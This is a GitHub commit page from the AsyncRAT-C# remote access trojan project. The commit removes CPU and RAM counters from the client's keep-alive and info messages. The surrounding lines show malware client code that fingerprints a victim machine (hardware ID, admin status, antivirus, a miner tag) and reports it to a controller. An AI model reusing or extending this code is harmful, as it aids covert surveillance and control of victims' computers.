Skip to content

Commit

Permalink
removed client CPU usage
Browse files Browse the repository at this point in the history
  • Loading branch information
Nyrotication committed Dec 20, 2019
1 parent 3c3108b commit 3df9f99
Show file tree
Hide file tree
Showing 3 changed files with 3 additions and 14 deletions.
9 changes: 1 addition & 8 deletions AsyncRAT-C#/Client/Connection/ClientSocket.cs
Original file line number Diff line number Diff line change
Expand Up @@ -256,14 +256,7 @@ public static void KeepAlivePacket(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
try
{
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%";
}
catch
{
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
}
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
Send(msgpack.Encode2Bytes());
Ping?.Dispose();
Interval = 0;
Expand Down
6 changes: 1 addition & 5 deletions AsyncRAT-C#/Client/Helper/IdSender.cs
Original file line number Diff line number Diff line change
Expand Up @@ -9,9 +9,6 @@ namespace Client.Helper
{
public static class IdSender
{
public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");

public static byte[] SendInfo()
{
MsgPack msgpack = new MsgPack();
Expand All @@ -23,8 +20,7 @@ public static byte[] SendInfo()
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
msgpack.ForcePathObject("Version").AsString = Settings.Version;
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
TheCPUCounter.NextValue();
msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
Expand Down
2 changes: 1 addition & 1 deletion AsyncRAT-C#/Server/Forms/Form1.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

0 comments on commit 3df9f99

Please sign in to comment.